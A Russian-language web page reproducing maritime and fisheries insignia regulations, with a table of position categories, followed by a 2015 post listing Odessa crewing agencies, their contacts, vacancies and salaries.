И только 15 февраля 1943 года погоны морского флота снова вернулись на мундиры личного состава ВМФ.

Погоны категории 4 (соответствуют должности 4 помощника капитана)

Погоны категории 5(соответствуют должности 3 помощника капитана)

Погоны категории 6 (соответствуют должности 2 помощника капитана

Погоны категории 7 (соответствуют должности Старпома)

Погоны категории 8

Погоны категории 9 (соответствуют должности Капитана)

Погоны категории 10

Погоны категории 11

Погоны категории 12

Выдержка из приказа Федерального агентства морского и речного транспорта от 5 декабря 2013 г. № 84 “Об утверждении формы одежды, правил ношения, знаков различия, норм и порядка обеспечения вещевым имуществом (обмундированием), в том числе форменной одеждой, обучающихся федеральных государственных образовательных организаций, подведомственных Федеральному агентству морского и речного транспорта"

VIII. ЗНАКИ РАЗЛИЧИЯ должностных лиц

8.1 Знаки различия должностных лиц Федерального агентства по рыболовству подразделяются на:
а) нарукавные знаки;
б) наплечные знаки;
в) нагрудные нашивки.
8.2. В соответствии с замещаемой должностью установлены следующие знаки различия должностных лиц Федерального агентства по рыболовству:
15 должностная категория - 1 широкий и 3 средних галуна;
14 должностная категория - 1 широкий и 3 средних галуна;
13 должностная категория - 1 широкий и 3 средних галуна;
12 должностная категория - 1 широкий и 2 средних галуна;
11 должностная категория - 1 широкий и 1 средний галун;
10 должностная категория - 1 широкий галун;
9 должностная категория - 4 средних галуна;
8 должностная категория - 3 средних галуна;
7 должностная категория - 2 средних и 1 узкий галун;
6 должностная категория - 2 средних галуна;
5 должностная категория - 1 средний галун;
4 должностная категория - 4 узких галуна;
3 должностная категория - 3 узких галуна;
2 должностная категория - 2 узких галуна;
1 должностная категория - 1 узкий галун.

IX. ОПИСАНИЕ ОБРАЗЦОВ ЗНАКОВ РАЗЛИЧИЯ

9.1. Знаки различия должностных лиц Федерального агентства по рыболовству представляют собой:
а) нарукавные знаки:
б) наплечные знаки:
Наплечные знаки различия представляют собой съемную колодку из шерстяной ткани черного цвета, на которую нашиваются знаки различия из галуна золотого цвета по должностным категориям.
Наплечные знаки различия располагаются на плечах при ношении форменной шерстяной куртки, тропического костюма, рубашек и женских форменных блуз. Допускается ношение наплечного знака с полем белого цвета на рубашке (блузе) белого цвета.
Размеры наплечного знака: длина 14 см (для женщин - 12 см), ширина 5 см. Наплечные знаки различия изготавливаются съемными и крепятся малой форменной пуговицей.
Ширина галуна: широкого - 3 см, среднего - 1,3 см и узкого -0,6 см. Просвет между галунами 0,3 см.
Верхний галун образует петлю в виде ромба размером по горизонтали: для среднего галуна - 4,5 см, для узкого - 4 см.
На наплечных знаках различия размещаются: для 14 должностной категории - большая эмблема Росрыболовства, а для 15 должностной категории - большая эмблема Росрыболовства в обрамлении двух лавровых ветвей, наложенных на нашивки из галуна в нижней части погона согласно рисунку.
Наплечные знаки различия рядового состава нашивок из галуна не имеют.

ТАБЕЛЬ ДОЛЖНОСТЕЙ РАБОТНИКОВ МОРСКОГО ТРАНСПОРТА, ДЛЯ КОТОРЫХ УСТАНОВЛЕНЫ ФОРМА ОДЕЖДЫ И ЗНАКИ РАЗЛИЧИЯ ПО ДОЛЖНОСТНЫМ КАТЕГОРИЯМ.
10.1. ФЛОТ.
10.1.1. Транспортные самоходные, сухогрузные, пассажирские и нефтеналивные суда дальнего и малого плавания, транспортные железнодорожные и автомобильные паромы, ледоколы, спасательные суда (мощностью более 2000 э.л.с.), гидрографические (свыше 1000' БРТ) и учебные суда, транспортные буксирные суда дальнего плавания

	Должностная категория
Капитан	9
Старший помощник капитана, первый помощник капитана,главный (старший) механик, помощник капитана по учебной части	7
Второй помощник капитана, помощник капитана по пассажирской части, старший инженер-оператор, инженер-гидролог, второй механик, электромеханик по общесудовому электрооборудованию, старший электромеханик, инженер-электрорадионавигатор, начальник радиостанции	6
Третий помощник капитана,третий механик, второй 5 электромеханик, второй электромеханик по общесудовому электрооборудованию, рефрижераторный механик, первый радиооператор, администратор пассажирской службы, помощник капитана по пожарной части	5
Четвертый помощник капитана, пятый помощник капитана, помощник капитана по хозяйственной части, четвертый механик, третий электромеханик, четвертый электромеханик, третий электромеханик по общесудовому электрооборудованию, ремонтный механик, крановый механик, механик по судовым системам, радиомеханик, электрорадионавигатор, второй радиооператор, боцман	4

10.1.2. Транспортные буксирные суда малого плавания, спасательные суда (мощностью менее 2000 л. с.), транспортные несамоходные суда дальнего плавания, гидрографические суда (менее 1000 БРТ).

Капитан (шкипер)	7
Старший помощник капитана, старший помощник шкипера, старший механик	6
Второй помощник капитана, второй помощник шкипера, второй механик, старший электромеханик	5
Третий помощник капитана, третий механик, второй электромеханик, начальник радиостанции, четвертый механик, третий и четвертый электромеханики, первый радиооператор, боцман	4

10.1.3. Транспортные несамоходные суда малого плавания, буксиры, паромы, катера и боты,самоходные сухогрузные и наливные суда портового и служебно-вспомогательного флота, плавучие самоходные краны и перегружатели

Капитан, шкипер, кранмейстер-капитан	6
Старший помощник капитана, старший помощник шкипера, старший (главный) механик, сменный помощник кранмейстера-капитана, старший электромеханик	5
Второй помощник капитана, сменный помощник капитана, сменный помощник старшины, второй механик, старший электромеханик, второй электромеханик, сменный электромеханик, третий помощник капитана, третий механик, третий электромеханик, четвертый электромеханик, электромеханик по общесудовому оборудованию	4

10.1.4. Катера, мотоботы, мотолодки с двигателями малой мощности, несамоходные сухогрузные и наливные суда портового и служебно-вспомогательного флота, несамоходные краны и перегружатели

Капитан, кранмейстер	5
Шкипер, старшина, старший механик, старший электромеханик, сменный помощник кранмейстера, сменный помощник капитана, помощник шкипера, помощник старшины, сменный механик, сменный электромеханик	4

10.1.5. Самоходные земснаряды технического (дноуглубительного) флота

Багермейстер-капитан	9
Старший помощник багермейстера, старший помощник капитана, старший (главный) механик	7
Второй помощник багермейстера — второй помощниккапитана, второй механик, старший электромеханик	6
Третий помощник багермейстера — третий помощник капитана, третий механик, второй и третий электромеханики по общесудовому электрооборудованию, начальник радиостанции	5
Четвертый помощник багермейстера — четвертый помощник капитана, четвертый механик, четвертый электромеханик, начальник радиостанции, боцман, радиооператор	4

10.1.6. Несамоходные земснаряды, самоходные грунтоотвозные шаланды технического (дноуглубительного) флота

Багермейстер, капитан	7
Старший помощник багермейстера, старший помощник капитана, старший механик	6
Второй помощник багермейстера, второй помощник капитана, сменный помощник капитана, второй механик, сменный механик, второй электромеханик	5
Третий помощник багермейстера, третий механик, четвертый механик, третий электромеханик, чегвертый электромеханик	4

10.1.7. Брандвахты, несамоходные шаланды технического (дноуглубительного) флота

Капитан, шкипер	5
Сменный пюмощник капитана, сменный помощник шкипера, помощник шкипера, старший механик, механик, сменный механик	4

10.1.8. Плавучие зачистные станции

Начальник станции	6
Сменный помощник начальника станции, инженер-технолог, старший механик	5
Сменный механик, электромеханик, техник-лаборант, боцман	4

10.1.9. Плавучие доки

Начальник дока (докмейстер)	8
Главный (старший) механик — первый заместитель начальника дока	7
Сменный помощник начальника дока (сменный докмейстер), старший электромеханик	6
Сменный механик, сменный электромеханик	5
Старший боцман	4

10.2. ПАРОХОДСТВА.

10.2.1. Начальник пароходства	12
10.2.2. Заместитель начальника и главный инженер пароходства, начальник управления флота в составе пароходства (на внутреннем хозрасчете)	11
10.2.3. Заместитель начальника управления флота; начальник службы: перевозок и движения флота, портового хозяйства и морских путей судового хозяйства, мореплавания, ледокольного флота и арктических операций, материально-технического снабжения, коммерческой, технической, по обслуживанию транспортного флота; начальник отдела: кадров, организации работы с моряками загранплавания, технического, второго; главный: диспетчер, штурман, технолог, иачальник ХЭГС, помощник начальника пароходства по технике безопасности	10
10.2.4. Капитан-наставник	9
10.2.5. Начальник отдела управления флота, заместитель начальника службы, отдела, указанных в п. 3 раздела; начальник: электрорадионавигационной камеры, базы резерва плавсостава, базы технического обслуживания флота, отдела в службе; главные специалисты в службах, указанных в п. 3 раздела; старший морской инспектор, механик-наставник	8
10.2.6. Начальник сектора в службе, указанной в пп. 3 и 5 раздела, старший девиатор, морской инспектор, групповой инженер-диспетчер, групповой инженер-механик; старшие: инженер-диспетчер по флоту, инженер ХЭГС, инженер отдела обслуживания пассажиров, инженер службы портового хозяйства, инспектор (инженер) по кадрам, инженер технического отдела, инженер по технике безопасности; начальник радиоцентра, радиостанции, заведующий кабинетом	7
10.2.7. Инженер-диспетчер по флоту, инспектор (инженер) по кадрам, инженер отдела обслуживания пассажиров, инженер ХЭГС, инженер по технике безопасности, девиатор, заместитель начальника и главный инженер радиоцентра, радиостанции	6
10.2.8. Диспетчер по флоту, старший оператор диспетчерской движения флота, диспетчер (сменный диспетчер), начальник городской билетной кассы, старший кассир городской билетной кассы	5
10.2.9. Кассир и дежурный справочного бюро городской билетной кассы	4

10.3 УПРАВЛЕНИЯ МОРСКОГО ФЛОТА.

10.3.1. Начальник управления	11
10.3.2. Заместитель начальника и главный инженер управления	10
10.3.3. Главный штурман, капитан-наставник	9
10.3.4. Начальник службы: перевозок и движения флота, судового хозяйства, мореплавания, материально-технического снабжения, по обслуживанию транспортного флота; помощник начальника управления; начальник отдела: технического, второго, кадров; главный диспетчер, начальник ХЭГС	8
10.3.5. Заместитель начальника службы и отдела, указанных в п. 4 раздела; старшие: девиатор, групповой инженер-механик; старшие: инженер-диспетчер по флоту, инженер службы судового хозяйства, морской инспектор, инженер технического отдела, инженер по технике безопасиости, инспектор по кадрам, механик-наставник	7
10.3.6. Начальник электрорадионавигационной камеры, инженер по технике безопасности, девиатор, инженер-диспетчер по флоту, инспектор по кадрам	6
10.3.7. Диспетчер по флоту, старший оператор диспетчерской движения флота, диспетчер (сменный диспетчер)	5

10.4 МОРСКИЕ ПОРТЫ.

	Вне категории	I кат.	II кат.	III кат.
10.4.1. Началник порта	11	11	10	10
10.4.2. Заместитель начальника, главный инженер порта	10	10	8	8
10.4.3. Капитан порта	10	10	9	9
10.4.4. Начальник отдела: механизации, грузовой и коммерческой работы, помощиик начальника порта по технике безопасности, главный диспетчер, начальник портового флота; начальник участка: связи, грузового района, нефтеналивного района, грузового и пассажирского портового пункта, морского вок зала, заместитель капитана порта	8	8	7	7
10.4.5. Старший лоцман	7	7	7	7
10.4.6. Старший: инспектор по расследованию аварий судов, диспетчер, инженер по технике безопасности, капитан портового надзор заместитель: главного диспетчера, начальника отдела, подразделения, указанного в п.4 раздела, начальник смены портнадзора, заместитель начальника морского вокзала	7	7	6	6
10.4.7. Лоцман	6	6	6	6
10.4.8. Диспетчер,старший инспектор и инспектор портового надзора, начальник пассажирского портового пункта, инженер по технике безопасности	6	6	5	5
10.4.9. Дежурный по морскому вокзалу	5	5	5	5

10.5. УПРАВЛЕНИЯ МОРСКИХ ПУТЕЙ И ДНОУГЛУБИТЕЛЬНЫХ РАБОТ.

	Должностная категория
10.5.1. Начальник управления	11
10.5.2. Заместитель начальника и главный инженер управления	10
10.5.3. Багермейстер—капитан-наставник, начальник землечерпального каравана	9
10.5.4. Начальник службы: пути, механико-судовой; начальник: технического отдела, морской инспекции; помощник начальника управления по технике безопасности; начальник технического участка	8
10.5.5. Заместитель начальника службы и отдела, указанных в п. 4 раздела; начальник: морского канала, дистанций пути; механик-наставник, старший инженер по технике безопасности	7
10.5.6. Начальник партии, морской инспектор, групповой инженер-механик; заместитель начальника: морского канала, дистанции пути; девиатор, инженер по технике безопасности	6

10.6. ЭКСПЕДИЦИОННЫЕ ОТРЯДЫ АВАРИЙНО-СПАСАТЕЛЬНЫХ, СУДОПОДЪЕМНЫХ И ПОДВОДНО-ТЕХНИЧЕСКИХ РАБОТ (АСПТР).

	Отряд I группы	Отряд II группы
10.6.1. Начальник отряда	11	10
10.6.2. Заместитель начальника и главный инженер отряда	9	9
10.6.3. Капитан-наставник	9	9
10.6.4. Начальник отдела: главного механика, аварийно-спасательных и буксирно-перегонных работ, начальник территориальной группы отряда, механик-наставник	8	7
10.6.5. Заместитель начальника отдела, указанного в п. 4, начальник береговой базы; старший: водолазный специалист, производитель работ, морской инспектор; старший инженер: по подводно-техническим, судо-подъемным, подводно-взрывным и аварийно-спасательным работам, по технике безопасности	7	6
10.6.6. Диспетчер по флоту, мастер водолазных работ, инструктор-водолаз, инженер по технике безопасности	6	5

10.7. ГИДРОГРАФИЧЕСКИЕ БАЗЫ.

	Должностная категория
10.7.1. Начальник гидрографической базы	10
10.7.2. Групповой капитан, капитан-наставник	9
10.7.3. Заместитель начальника и главный инженер базы	8
10.7.4. Начальник: лоцманской службы, экспедиции, отряда, партии, электрорадионавигационной камеры; механик-наставник, групповой механик, старший инженер службы надзора за судами по предотвращению загрязнения арктических морей; девиатор; старший диспетчер, начальник маяка I класса, старший лоцман	7
10.7.5. Заместитель начальника экспедиции, отряда, партии, начальник лоцманской вахты, маяка II и III классов; старший: диспетчер, инженер по технике безопасности; топограф; лоцман	6

10.8. РЕГИСТР РФ.

10.8.1. Управление Регистра Директор	12
Заместитель директора	11
Главный инженер	11
Начальник отдела	10
Заместитель начальника отдела, главный специалист	8
Ведущий, старший инженеры	7
10.8.2. Инспекция Регистра РФ Начальник бассейновой инспекции	11
Заместитель начальника бассейновой инспекции, начальник инспекции	10
Заместитель начальника инспекции, главный инженер-инспектор	8
Старший ииженер-инспектор	7
Инженер-инспектор	6

10.9 ГОСУДАРСТВЕННЫЕ ХОЗРАСЧЕТНЫЕ ОБЪЕДИНЕНИЯ МОРСКОГО ТРАНСПОРТА

10.9.1. Начальник объединения	12
10.9.2. Заместитель начальника и главный инженер объединения	11
10.9.3. Начальник отдела: перевозок, портов, технического, отделов по бассейнам	10
10.9.4. Помощник начальника объединения	9
10.9.5. Заместитель начальника отдела, главный специалист отдела: перевозок, портов, технического, отделов по бассейнам	8
10.9.6. Старший инженер по технике безопасности	7

10.10. АДМИНИСТРАЦИЯ СЕВЕРНОГО МОРСКОГО ПУТИ.

10.10.1. Начальник Администрации	12
10.10.2. Заместитель начальника и главный инженер Администрации	11
10.10.3. Главный государственный инспектор	10
10.10.4. Государственный инспектор	9

10.11. В/О «СОВСУДОПОДЪЕМ».

10.11.1. Председатель объединения	12
10.11.2. Заместитель председателя и главный инженер объединения	11
10.11.3. Начальник отдела	10
10.11.4. Помощник председателя, эксперт	8
10.11.5. Заместитель начальника отдела	8
10.11.6. Старший инженер	7

10.12. В/0 «МОРПАСФЛОТ».

10.12.1. Председатель объединения	12
10.12.2. Заместитель председателя объединения	11
10.12.3. Начальник отдела: эксплуатации и коммерческой работы, обслуживания пассажиров, эксплуатации местного пассажирского флота	10
10.12.4. Помощник председателя, начальник центральных морских касс	8
10.12.5. Заместители начальников отделов, указанных в п.3 раздела	8
10.12.6. Старший экономист по билетным операциям, старший диспетчер по пассажирским операциям	5
10.12.7. Диспетчер по пассажирским операциям	5
10.12.8. Старший билетный кассир, кассир центральных морских касс	4

10.13. ВЫСШИЕ УЧЕБНЫЕ ЗАВЕДЕНИЯ.

10.13.1. Начальник училища, ректор	11
10.13.2. Заместитель начальника училища, проректор, начальник учебного отдела, начальник (декан) факультета, начальник (заведующий) кафедры, профессор кафедры, начальник научно-исследовательского отдела, начальник филиала училища, института	10
10.13.3. Заместитель начальника (декана) факультета, начальник отдела кадров, начальник (заведующий) производственной практики, заместитель начальника филиала училища, института, начальник учебно-консультационного пункта, начальник учебных мастерских, доцент, старший преподаватель, заведующий аспирантурой, ученый секретарь	8
10.13.4. Преподаватель, учебный мастер	7
10.13.5. Инспектор по плавпрактике	5
10.13.6. Лаборант, комендант, боцман	4

10.14. СРЕДНИЕ СПЕЦИАЛЬНЫЕ УЧЕБНЫЕ ЗАВЕДЕНИЯ.

10.14.1. Начальник училища, директор техникума	10
10.14.2. Заместитель начальника училища, заместитель директора техникума, начальник (заведующий) отделения по специальности	8
10.14.3. Руководитель физического воспитания, начальник (заведующий) мастерских, начальник (заведующий) производственной практики, председатель цикловой комиссии, начальник (заведуюший) учебно-консультационного пункта, заместитель начальника отделения по специальности, старший преподаватель	7
10.14.4. Начальник отдела кадров, мастер производственного обучения	5
10.14.5. Лаборант, комендант, боцман	4

10.15. МОРЕХОДНЫЕ ШКОЛЫ.

10.15.1. Начальник мореходной школы	10
10.15.2. Заместители начальника	8
10.15.3. Помощник начальника, старший инспектор; старший мастер	7
10.15.4. Инспектор по плавпрактике, мастер производственного обучения, руководитель физического воспитания, воспитатель	5

10.16. В/0 «СОВФРАХТ».

10.16.1. Председатель объединения	12
10.16.2. Заместитель председателя	11
10.16.3. Директор конторы, эксперт	10
10.16.4. Помощник председателя	9
10.16.5. Заместитель директора конторы	8

10.17. ЦЕНТРАЛЬНЫЙ АППАРАТ МИНИСТЕРСТВА МОРСКОГО ФЛОТА.

10.17.1. Министр	14 с гербом
10.17.2. Заместитель министра	14
10.17.3. Член Коллегии	13
10.17.4. Начальник управления, Главной морской инспекции, начальник канцелярии	12
10.17.5. Заместитель начальника и главный инженер управления, замсститель начальника Главной морской инспекции, канцелярии; главный штурман ММФ; заместитель председателя Научно-технического совета; начальник самостоятельного отдела, помощник министра	11
10.17.6. Заместитель начальника самостоятельного отдела, начальник отдела в управлении и в Главной морской инспекции, помощник первого заместителя министра, ученый секретарь Научно-технического совета, заместитель начальника отдела, ведущий инспектор Главной морской инспекции	10
10.17.7. Заместитель начальника отдела в управлении, главный специалист, помощник заместителя министра	9
10.17.8. Ведущий инженер управления: эксплуатации флота и портов, технической эксплуатации флота и судоремонтных заводов; ведущий инженер по технике безопасности	8

Примечание. Капитаны судов, переведенные на работу в аппарат пароходств, объединений и центральный аппарат министерства, имеют право на ношение форменной одежды и знаков различия по ранее занимаемой должности, если по новой должности ему не положены знаки различия более высокой категории.

Крюинговые Агенства в Одессе

Meteor — Wed, 26 Aug 2015 19:20:41 GMT

Самый лучший крюинг? Выбор за вами! Вакансии для моряков Крюинг в украине

ABC MARITIME морская компания
65029 г.Одесса пер.Вице-Адмирала Жукова, 3-7, оф. 34
Tel. +38048-7776000
Fax. +38048-7776007
abc@abcmaritime.com.ua
http://www.abcmaritime.com.ua
Приглашаем на постоянную работу: старший и младший командный состав, электромехаников, рядовой состав (матросов, мотористов и др.) с опытом работы на танкерах продуктовозах, химовозах и газовозах разнообразного тоннажа со знанием английского языка (Судовладелец: АБС Маритайм, Швейцария). Система бонусов, оклады ITF и выше. Срок контракта 4-6 месяцев. Все услуги по трудоустройству моряков предоставляются бесплатно.
На 10.06.09 предлагаются след.оклады:
Капитан у.е.10000+
Стармех у.е. 9500
Старпом у.е.8500
$CUT$

АДРИАТИКО-БРИГ Морское агенство
65026 г.Одесса, ул.Княжеская 5
Tel. +38048-728-81-42,+38048-728-81-43,+38048-728-81-44
Fax. +38048-723-11-13
admin@moryak.com.ua
http://moryak.com
На крупнотонажные суда срочно требуются специалисты старшего и среднего командного состава с опытом работы. Зарплата по ставкам ITF. А также требуются моряки с опытом работы на иностранных судах и знанием английского языка: электрогазосварщики с опытом работы на судостроительных и судоремонтных предприятиях, мотористы-токари, мотористы и мотросы первого класса, старшие повара. В крюинге постановка на учет моряков производится бесплатно.

АКВАРИУС крюинговое агенство
г.Одесса пр.Адниральский 21,оф 2
Tel. (0482)37-82-23;35-63-15;
Fax. (0482)34-94-67;
aquq@paco.net

Офицеры на все должности с опытом работы на танкерах, балкерах, сухогрузах. Матросы и мотористы с опытом работы у греческих судовладельцев. Комсостав до 58 лет. Матросы и мотористы до 54 лет.

ALKA CREWING LTD морское агенство
г. Одесса пер. Нахимова 2 оф.2
Tel. (048)729-60-37;
Fax. Сирота Валентин Ивановичь
crewing@alka.com.ua
http://www.alka.com.ua
Предлагает работу морякам в украинских экипажах старший и средний командный состав, мотористов и матросов с опытом работы на балкерах, универсалах иностранных судовладельцев. Знание английского в меру служебных обязанностей. Система бонусов, оклады ITF и выше. Срок контракта 6 месяцев. Офицеры, механики до 57 лет, мотористы и матросы до 54 лет. Реальная перспектива карьерного роста. Все услуги по трудоустройству моряков предоставляются бесплатно.

АТИС
г. Одесса, ул. Канатная 36/5, вход ул. Троицкой 8А
Tel. (0482)37-87-05;(0482)37-62-28;
Fax. (0482)34-27-94;
crew@atis.od.ua
www.atis.od.ua

Предлагает работу для моряков на новых балкерах, работающих в Средиземном и Черном морях. Работают с компанией MOL (контейнеровозы от 5000 TEU и автомобилевозы от 6000 Units). Экипаж смешанный. Срочно требуются: офицеры, механики, сварщики, токари, повара, опытные мотористы и матросы. Срок контракта 4-2 месяцев. Возраст до 60 лет. Знанием английского языка не нужно.

BARBER MANNING, UKRAINE крюинговая компания
г. Одесса б-р Французский 11б
Tel. (048)784-05-69;(048)784-05-71
Fax. (048)784-05-72
crew@barbership.od.ua
http://BARBERSHIP.OD.UA
Предлагает работу для моряков на судах компании. Знанием английского обязательное. Опыт работы не менее 6 мес. Все услуги по трудоустройству моряков предоставляются бесплатно. Приглашаем специалистов с опытом работы на судах типа: RO-RO, PCC, PCTC, CONT, BULK, PROD, CHEM, AFRAMAX/VLCC, LPG(LNG), SEISMIC, FCO, FPCO, ANTC. Система бонусов, оклады ITF и выше, шкала выслуги лет.

ВЕРНАЛ
г. Одесса ул. Арнаутская 22.
Tel. +38(0482)722-00-64;+38(0482)722-12-34
Fax. +38(0482)34-60-11
vernal@com.od.ua

Наш крюинг предлагает морякам работу на судах иностранных судовладельцев. Суда типа река/море, район плавания – Черное, Азовское и Средиземное моря. Продолжительность контракта – 5-8 мес. Русскоязычный экипаж.

ВИМАР морское агентство
г. Одесса ул. Гайдара 34. оф. 4
Tel. +38(048)784-96-57;+38(048) 784-96-58;
Fax. +38(048)784-96-59;
vimar@te.net.ua

Постоянно требуются старший и средний командный состав, моторы и матросы для работы на контейнерах (от 1400 TEU), балкерах, танкерах. Опыт работы, знанием английского языка, наличие характеристики обязательно.

ГЛОБАЛ МАРИН СЕРВИС
г. Одесса ул. Кузнечная 59 к. 15 Вход с боку с улицы Успенской.
Tel. +38(048)726-17-39;+38(048)715-54-57;
Fax. +38(048)715-54-58;
gms@gms.od.ua
http://globalmarine.com.ua
Нужен персонал на круизные суда американских и итальянских компаний по специальностям: уборщики, ученики повара, повара, рабочие пекарен и кондитерского цеха, стюарды и стюардессы, официанты и официантки баров ресторанов, F&B controller, assist F&B manager, рабочие складов. Регистрация, проверка английского и собеседование крюингом для моряков проводятся бесплатно. Для обслуживающего персонала опыт работы на судах или на берегу обязательный, для уборщиков не обязательный. Требуются командный и рядовой состав всех специальностей на сухогрузы и балкера, РО-РО, пассажирские суда. Опыт работы, знанием английского языка.

ДАФНИ ШИППИНГ ЭЙДЖЕНСИ
г. Одесса ул. Лейтенанта Шмидта 19
Tel. +38(048)728-10-30;+38(048) 728-10-40;
Fax. nill
daphne@paco.net

Компания иностранного судовладельца в Украине приглашает моряков на постоянную работу на балкера - новострои. Полностью украинский экипаж. Все услуги по трудоустройству моряков крюинг предоставляет бесплатно. Знание английского в меру служебных обязанностей.

Marlow Navigation (Марлоу Навигейшн Одесса)
г. Одесса ул. Троицкая 45 (вход с Александровского проспекта)
Tel. +380 482 496490
+380 482 496491
+380 482 496492
Fax. +380 482 429383
marlow@marlow.od.ua
http://marlow.od.ua
Marlow Navigation» является крюинг-оператором более 500 современных судов немецких и западно-европейских судовладельцев под немецким и другими флагами.
Основными типами судов, на которые фирма «Марлоу Навигейшн Украина» по договору с компанией «Marlow Navigation» поставляет экипажи, являются контейнеровозы, универсалы, Ro-Ro, буксиры, рефрижераторы, а также балкеры, суда перевозящие негабаритные грузы.
Все суда компании отвечают самым высоким требованиям безопасности мореплавания и снабжены новейшим оборудованием, соответствующим последним мировым достижениям судостроения.

Крюинг ЕВРОСЭЙЛОР Украина Лтд.
Г.Одесса ул. Троицкая 36, оф. 2
Tel. (048)777-41-63
Fax. (0482)344803
p.paltyeqka@euroseilor.nl
http://euroseilor.nl
Крюинг приглашает на работу профессиональных моряков со знанием английского языка для работы на торговых судах. Наше морское агентство предлагает все типы судов у различных судовладельцев. Срочно требуются капитаны, старший ком.состав и моряки с опытом работы на судах. Работа для моряков с перспективой карьерного роста.

Крюинговое агенство ИНТЕРБРОКЕР
г. Одесса ул. Пушкинская 6 (1 этаж)
Tel. +38 048 711 78 45, 711 78 46
Fax.
anna.virshinskaya@interbroker.com.ua
http://interbroker.com.ua
Требуются моряки для работы на судах немецких и голландских судовладельцев. Морское агентство предоставляет высокие зарплаты для моряков. Срочно требуются моряки (весь состав) с опытом роботы.

РОЛАНДИЯ ШИППИНГ ООО Крюинговая компания
Г. Одесса Адмиральский проспект 14 оф. 1
Tel. (048) 715-38 56
Fax. (0482) 34-79-77
rolandia@odtel.net
http://rolandia.com.ua
От имени немецкой судоходной компании AIDA Cruises приглашаем моряков для роботы на судах : AIDAcara, AIDAvita, AIDAdiva специалистов следующих специальностей: боцманы, матросы 1-го класса, плотники, электрики, ассистенты механика, мотористы, фиттеры. Знание английского языка морякам обязательно. Контракт 6 месяцев

САНРАЙЗ Морское агенство
Г.Киев, пр-т Воссоединения, 7а, оф.718
Tel. 8044-296-04-29, +38067-249-27-50
Fax.
sanrise@nbi.com.ua
http://sea-sunrise.com.ua
Агенство приглашает на постоянную работу моряков командного и рядового состава с опытом работы в судоходных компаниях и знанием английского языка.

"Ci Bi Lanimar” морская компания.
Г. Одесса ул. Сегедская 18 оф. 311
Tel. (0482)374 782
Fax. (0482)362 830
sbl@te.net.ua
http://tekom.odessa.ua/~sbl
Морской компании (крюинг) постоянно требуется опытные моряки (офицерский и рядовой состав) на химо-возы и танкера. На Ирландские рыболовные тралы матросы. Английский язык для моряков не обязателен.

Крюинговое агентство Апекс Одесса.
г.Одесса пл. Независимости оф. 507
Tel. (+38 0482) 649738
Fax. (+38 0482) 649691
apex@ukrpost.ua
http://apex-odessa.com
Крюинговое агентство Апекс, Одесса Украина предлагает следующие услуги: работу морякам, на сайте постоянно открытые вакансии. Морское агенство оформленяет паспорта моряка. Для выпускников любых морских учебных заведений отправка в рейс, формирование экипажей, проверка персонала, трудоустройство, работа для моряков на судах за границей

Крюинг Сигал
г.Одесса, ул.Князевская, 27
Tel. 0482-34-98-05, 0482-34-92-65
Fax. 0482-34-78-54
crewmail@seagullco.com

Крюинговому агенству для постоянной работы на балкерах иностранных судовладельцев требуются моряки командного и рядового состава с опытом и отзывами с предыдущих судов. Для моряков командного состава знание английского языка в пределах должностных обязаностей. Реальная возможность карьерного роста морякам. Контракты продолжительностью 4-7 месяцев. Взятие моряков на учет бесплатно.

Крюинговое агенство Сикавер
г.Одесса, ул.Ришельевская, 42, оф.2 (вход с арки, 2-й этаж)
Tel. 048-777-20-51, 777-20-52
Fax. 048-777-20-54
cv@seacover.com
http://seacover.com
Постоянно требуются моряки командного и рядового состава. Крюинг предлагает работу морякам только на судах иностранных судовладельцев.

Морская компания Статус Марин ОДЕССА
Г. Одесса ул. Пушкинская 6
Tel. 048 715 03 02 0482 33 88 21
Fax. 048 715 03 02
statusukr@optima.com.ua

Постоянно требуются для работы электромеханики на танкера. Требуются капитаны, ст. механики, офицеры, рядовой состав (матросы, мотористы ), на танкера. Старший ком состав, ком состав, рядовой состав на сухогрузы. Опыт работы и английский для моряков обязателен. Крюинг ставит на учет бесплатно.

ООО СП Менеджмент Групп-Украина
г.Одесса, Люстдорфская дорога, 92\94 оф.201, 202
Tel. 048-784-82-32
Fax. 048-784-82-42
spmg@te.net.ua

Круингу постоянно требуется командный и рядовой состав с опытом работы на судах типа: балкеры, газовозы, химовозы. Производим трудоустройство моряков на суда следующих судовладельцев: Италия, Кипр, Норвегия, Греция. Моряки работают как в смешаных, так и в русскоязычных экипажах.

Стафф Центр Крюинг г.Одесса
г.Одесса, пл.Екатерининская 6 оф.16
Tel. 0482-34-75-73
Fax. 0482-34-77-84
office@staff.od.ua
http://staff-centre.com
Морское агенство приглашает на постоянную работу моряков: старший командный состав для работы в море на смешанных экипажах; суда типа контейнера, балкера, универсалы. Контракты моряков 4-5 месяцев. Также требуется командный и рядовой состав для работы в море на балкерах DW 35-52 тыс.тонн в русскоязычных экипажах. Круинговое агенство предоставляет контракты 6(+\-1). Опыт работы и наличие положительных характеристик с предыдущего места работы обязательно.

"C 4 POINT MARITIME AGENCY"

65012 Odessa, Ukraine
Direct: +38 (0482) 32 44 93
Fax: +38 (048) 777 82 35
crewing@s4point.com
www.s4point.com
БАЗАРНАЯ, 44, БИЗНЕС ЦЕНТР, 7 ЭТАЖ
(УГОЛ ОСИПОВА, НАПРОТИВ РУМЫНСКОГО КОНСУЛЬСТВА)
ОКЛАДЫ:

MASTER - 6500 USD

CH OFF - 5500 USD

2ND OFF - 3000 USD

3D OFF - 2500 USD

CH ENG - 6500 USD

2ND ENG - 5500 USD

3D ENG - 3000 USD

4TH ENG - 2500 USD

BOSUN - 1500 USD

COOK - 1500 USD

FITTER/WELDER - 1500 USD

ПРИСЫЛАЙТЕ, ПОЖАЛУЙСТА, ВАШИ АППЛИКАЦИОННЫЕ ФОРМЫ НА РАССМОТРЕНИЕ!!

Морская компания ТЕНЕТ
Г. Одесса ул. Неженская 6
г. Ялта ул. Васильева 19
Tel. Г. Одесса (048)7117626; 7373123; 7733256;
г. Ялта (0654)325050; 327787;
г. Херсон (0552)420965 ;493496;
г. Мариуполь (0629)413576; 493496;
Fax.
tenetcrew@te.net.ua (Одесса)
http://MARCORPTENET.COM
Морское агентство приглашает на работу моряков, которые знают английский язык, и имеют опыт работы на судах типа:
КОНТЕЙНЕРОВОЗ, РЕФЕР, РО-РО. :
Предусмотрены системы карьерного роста для моряков.
Дополнительную информацию можно найти в любом из наших морских агентств.
Резюме моряка можно отослать по электронной почте.

Морское агентство ТИС
Г. Одесса ул. Романа Кармена
Tel. (048)786-07-01;
Fax. (048)786-00-92;
tis_crew@te.net.ua
http://TIS.MARITIME.COM
Крюингу требуется командный и рядовой состав с опытом работы на балкерах,
контейнеровозах, танкерах, ро-ро, и рефрижераторах.
Судовладельцы: Англичане, Греция, Сингапур, Германия, Дания, Норвегия.
